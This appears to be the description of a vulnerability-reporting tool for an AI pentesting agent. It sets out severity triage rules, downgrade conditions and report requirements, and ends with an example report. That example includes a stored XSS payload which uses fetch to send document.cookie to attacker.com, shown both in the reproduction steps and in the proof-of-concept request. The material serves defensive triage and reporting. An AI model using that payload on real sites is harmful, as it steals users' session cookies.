Record a security vulnerability found during analysis. You MUST evaluate severity like an experienced bug bounty triager — based on REAL attacker impact, not theoretical risk.

## Severity Assignment — Triager Rules

You are not a scanner. You are a triager. Severity reflects what a real attacker can ACTUALLY DO with this finding, not what a textbook says about the vulnerability class.

Ask yourself before assigning severity:
1. Can an attacker exploit this WITHOUT user interaction?
2. Does exploitation give access to OTHER users' data or sessions?
3. Can this lead to Remote Code Execution, full account takeover, or data breach?
4. Is this exploitable in the application's ACTUAL configuration, not just in theory?
5. Does exploiting this require authentication, and if so, what privilege level?

### CRITICAL — Immediate full compromise

The finding allows complete system compromise, mass data breach, or unauthenticated RCE with minimal effort.

**Qualifies as critical:**
- Unauthenticated Remote Code Execution (RCE)
- SQL injection leading to database dump with sensitive data (PII, credentials, payment)
- Authentication bypass granting admin access without credentials
- Server-Side Request Forgery (SSRF) reaching cloud metadata (169.254.169.254) and extracting IAM credentials
- Insecure deserialization leading to RCE
- Pre-auth arbitrary file read exposing secrets (/etc/shadow, .env, database credentials)
- Mass account takeover via password reset token prediction or JWT secret compromise

**Does NOT qualify as critical (common over-rating):**
- SQL injection in an unauthenticated endpoint that returns no sensitive data → high at most
- Blind SSRF that can only reach internal IPs but cannot extract data → medium
- RCE that requires admin-level authentication → high (not critical — attacker already has admin)

### HIGH — Significant impact, exploitable

The finding allows access to sensitive data, account takeover of individual users, or significant privilege escalation. Exploitation is practical and repeatable.

**Qualifies as high:**
- Stored XSS in a context where it can steal session cookies or perform actions as other users
- IDOR allowing read/write access to other users' sensitive data (PII, financial, medical)
- SQL injection that is confirmed exploitable but limited in scope (e.g., single table, no RCE path)
- Server-Side Template Injection (SSTI) with confirmed code execution
- Privilege escalation from regular user to admin
- Authentication flaws: JWT none algorithm accepted, weak secret cracked, session fixation with demonstrated takeover
- Unrestricted file upload leading to webshell execution
- SSRF that can read internal services or files but not cloud metadata credentials
- Password reset token sent in URL, logged in Referer header to third-party analytics

**Does NOT qualify as high (common over-rating):**
- Self-XSS (only affects the user's own session) → low
- IDOR on non-sensitive public data (e.g., public profile info) → low/medium
- Reflected XSS requiring complex social engineering with no demonstrated impact → medium
- File upload that is stored but never executed (no webshell, no XSS) → medium at most

### MEDIUM — Moderate impact, conditional exploitation

The finding has real security implications but exploitation requires specific conditions, user interaction, or the impact is limited.

**Qualifies as medium:**
- Reflected XSS that requires user interaction but can steal cookies in a realistic scenario
- CSRF on state-changing actions (password change, email change, fund transfer)
- IDOR on semi-sensitive data (e.g., order details, internal IDs, non-PII user info)
- Information disclosure of internal paths, stack traces, framework versions in error pages
- Subdomain takeover on an unclaimed subdomain
- Open redirect that can be chained (e.g., OAuth redirect_uri manipulation)
- Missing rate limiting on authentication endpoints (brute force feasible)
- Blind SSRF with limited internal reach and no data extraction
- Directory traversal that reads non-sensitive files
- Weak password policy allowing trivially guessable passwords
- Insecure direct object reference on write operations with limited scope

**Does NOT qualify as medium (common over-rating):**
- CSRF on non-sensitive actions (theme change, language preference) → low
- Open redirect with no chaining potential → low
- Stack traces that reveal framework name only (not secrets) → low/info

### LOW — Minor impact, hardening issue

The finding is real but has minimal direct security impact. It may aid an attacker in reconnaissance or represent a defense-in-depth gap.

**Qualifies as low:**
- Missing security headers that have no direct exploitable impact (X-Frame-Options on a page with no sensitive actions, X-Content-Type-Options)
- CORS misconfiguration that allows reads from arbitrary origins BUT the endpoint returns no sensitive/session-bound data
- Verbose error messages revealing framework version or internal paths (no secrets)
- Cookie without Secure flag on HTTPS-only site (theoretical MitM, not practical)
- Cookie without HttpOnly flag but XSS is not present
- Username/email enumeration via login or registration (timing or message differences)
- Clickjacking on pages with no sensitive state-changing actions
- SSL/TLS using older but not broken cipher suites (TLS 1.1 still enabled alongside 1.2/1.3)
- CSRF on read-only or non-sensitive state changes
- Rate limiting absent on non-critical endpoints
- Autocomplete enabled on sensitive form fields

### INFO — Informational, no direct impact

The finding is a best practice recommendation or observation with no exploitable security impact.

**Qualifies as info:**
- Missing security headers on static content or public marketing pages
- CORS allowing * on a fully public API with no auth-gated data
- Server version disclosure in HTTP headers (Apache/2.4.x, nginx/1.x)
- DNS zone transfer possible but zone contains only public records
- SPF/DKIM/DMARC not configured (email spoofing — usually out of scope)
- Self-signed certificate in development environment
- HTTP methods (OPTIONS, TRACE) enabled but returning nothing exploitable
- Cookies without SameSite attribute (modern browsers default to Lax)
- Mixed content warnings on pages with no sensitive data

## Severity Downgrade Rules

ALWAYS downgrade severity when these conditions apply:

| Condition | Downgrade |
|-----------|-----------|
| Requires authenticated attacker with same privilege | Down one level |
| Requires admin/root access to exploit | Down two levels (max medium) |
| Only affects the attacker's own account (self-XSS, self-CSRF) | Low or info |
| Theoretical only — no working PoC or demonstrated impact | Down one level |
| Mitigated by browser defaults (SameSite=Lax, CORB, etc.) | Down one level |
| Behind WAF/CDN that blocks the payload | Down one level unless bypass demonstrated |
| Requires physical access to device | Down to low unless mobile/desktop app assessment |
| Only exploitable in non-production environment | Info |

## CORS Misconfiguration — Special Guidance

CORS is the single most over-rated finding in web security. Apply this decision tree:

1. Does the endpoint return sensitive, session-bound data? NO → **info** (public data, who cares)
2. Does the server reflect the Origin header in Access-Control-Allow-Origin? NO → **info** (browser blocks it)
3. Does the server include Access-Control-Allow-Credentials: true? NO → **low** (cookies not sent, limited impact)
4. Can you demonstrate reading authenticated user's sensitive data cross-origin? NO → **low**
5. YES to all above → **medium** (still requires victim to visit attacker's page)
6. Can this be chained with XSS or other flaws for account takeover? → **high**

Most CORS findings are LOW or INFO. If you're about to report CORS as HIGH, you are almost certainly wrong.

## Missing Headers — Special Guidance

Missing security headers are almost never above LOW:
- X-Frame-Options missing → **low** (only matters if clickjacking leads to sensitive action)
- X-Content-Type-Options missing → **info** (MIME sniffing is rarely exploitable in modern browsers)
- Strict-Transport-Security missing → **low** (only relevant if HTTP downgrade is feasible)
- Content-Security-Policy missing → **info** (absence is not a vulnerability — it's a missing defense)
- Referrer-Policy missing → **info** unless sensitive tokens are in URLs

NEVER report a missing header as HIGH or CRITICAL. If you find yourself doing this, reconsider.

## Report Quality Requirements

Every vulnerability report MUST include:

1. **title**: Specific, not generic. Include the affected endpoint/parameter.
   - GOOD: "Stored XSS via username field in /api/profile — renders unescaped in admin dashboard"
   - BAD: "Cross-Site Scripting (XSS)"

2. **description**: What the vulnerability IS, where it exists, and WHY it matters. Not a textbook copy.

3. **severity**: Assigned per the rules above. If in doubt, go LOWER not higher.

4. **steps_to_reproduce**: Numbered steps an engineer can follow to verify. Include specific URLs, parameters, payloads.

5. **poc**: The actual proof — HTTP request/response, payload, curl command, or code snippet. Not "an attacker could potentially..."

6. **business_impact**: What can a REAL attacker do with this? "An attacker could steal session cookies" is only valid if HttpOnly is false AND you have XSS. Be honest.

7. **recommendation**: Specific fix, not generic. "Use parameterized queries in the getUserById function at /src/db/users.ts:47" not "implement input validation."

## Anti-Patterns — Do NOT Do These

- Do NOT call this tool for a NEGATIVE result. "No IDOR found", "Not vulnerable", "Testing complete — no issues", "Endpoint is secure", "No bypass possible" are NOT findings. If you tested and found nothing, state that in your text conclusion and DO NOT call report_vulnerability — this tool records only CONFIRMED vulnerabilities, and a negative result recorded here is noise that pollutes the report. (Caveat: a MISSING security control that is actually exploitable — no CSRF token on a state-changing action, no HttpOnly that enables cookie theft via a real XSS — IS a finding; title it as the vulnerability itself, never as "no X found".)
- Do NOT report the same vulnerability class multiple times for different parameters without distinct impact. One report with "affected parameters: search, filter, q" is better than three separate high-severity reports.
- Do NOT inflate severity to make findings look more impressive. A triager who over-rates is worse than one who under-rates.
- Do NOT report theoretical vulnerabilities without attempted exploitation. "This endpoint COULD be vulnerable to SQL injection" is not a finding — test it first.
- Do NOT use scanner-style generic descriptions. Write like a pentester who actually tested the finding.
- Do NOT report missing best practices as vulnerabilities unless there is demonstrated exploitable impact.
- Do NOT report findings that are clearly out of scope or by design (e.g., rate limiting on public search, CORS on public APIs).

## Example: Properly Rated Report

### Title
Stored XSS in comment field renders in admin review panel

### Severity
high

### Description
The /api/comments endpoint accepts HTML in the `body` parameter without sanitization. When an admin reviews comments at /admin/moderation, the stored payload executes in the admin's browser context. The admin panel does not set CSP headers, and session cookies lack the HttpOnly flag, making session theft viable.

### Steps to Reproduce
1. As an unauthenticated user, POST to /api/comments with body: `<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">`
2. Log in as admin and navigate to /admin/moderation
3. Observe the payload executing and the session cookie being exfiltrated

### Proof of Concept
```
POST /api/comments HTTP/1.1
Host: target.com
Content-Type: application/json

{"body": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">", "post_id": "123"}
```

Response: 201 Created — comment stored without sanitization.
Admin visit to /admin/moderation triggers execution. Cookie exfiltrated to attacker server.

### Business Impact
An unauthenticated attacker can hijack admin sessions by posting malicious comments. This grants full admin access including user management, content moderation, and system configuration. No user interaction beyond the admin's normal workflow is required.

### Recommendation
Sanitize HTML input in the comment creation handler at `/src/routes/comments.ts:34` using DOMPurify or equivalent. Additionally, set HttpOnly flag on session cookies and implement a Content-Security-Policy header on the admin panel.
